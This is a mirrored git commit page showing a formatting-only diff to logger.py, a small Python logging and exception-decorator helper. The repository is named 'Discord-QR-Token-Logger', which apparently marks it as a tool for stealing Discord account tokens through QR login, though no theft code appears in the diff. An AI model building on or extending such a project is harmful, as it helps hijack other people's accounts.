mirror of
https://github.com/9P9/Discord-QR-Token-Logger.git
synced 2025-06-14 14:55:17 +00:00
Update logger.py
This commit is contained in:
parent
34997889e3
commit
c471a774a7
@ -2,7 +2,7 @@ import logging
|
|||||||
from functools import wraps
|
from functools import wraps
|
||||||
from typing import Any
|
from typing import Any
|
||||||
|
|
||||||
logging.basicConfig(filename='qrg.log', filemode='w',
|
logging.basicConfig(filename='qrg.log', filemode='w',
|
||||||
format="[%(filename)s:%(lineno)s - %(funcName)20s() ] %(message)s")
|
format="[%(filename)s:%(lineno)s - %(funcName)20s() ] %(message)s")
|
||||||
|
|
||||||
|
|
||||||
@ -27,7 +27,8 @@ def log_unknown_exceptions(log_lvl: int) -> Any:
|
|||||||
elif log_lvl == logging.CRITICAL:
|
elif log_lvl == logging.CRITICAL:
|
||||||
logging.critical(e)
|
logging.critical(e)
|
||||||
else:
|
else:
|
||||||
raise ValueError('Invalid log level provided for log_unknown_exceptions decorator.')
|
raise ValueError(
|
||||||
|
'Invalid log level provided for log_unknown_exceptions decorator.')
|
||||||
return None
|
return None
|
||||||
return wrapper
|
return wrapper
|
||||||
return decorate
|
return decorate
|
||||||
|
Loading…
x
Reference in New Issue
Block a user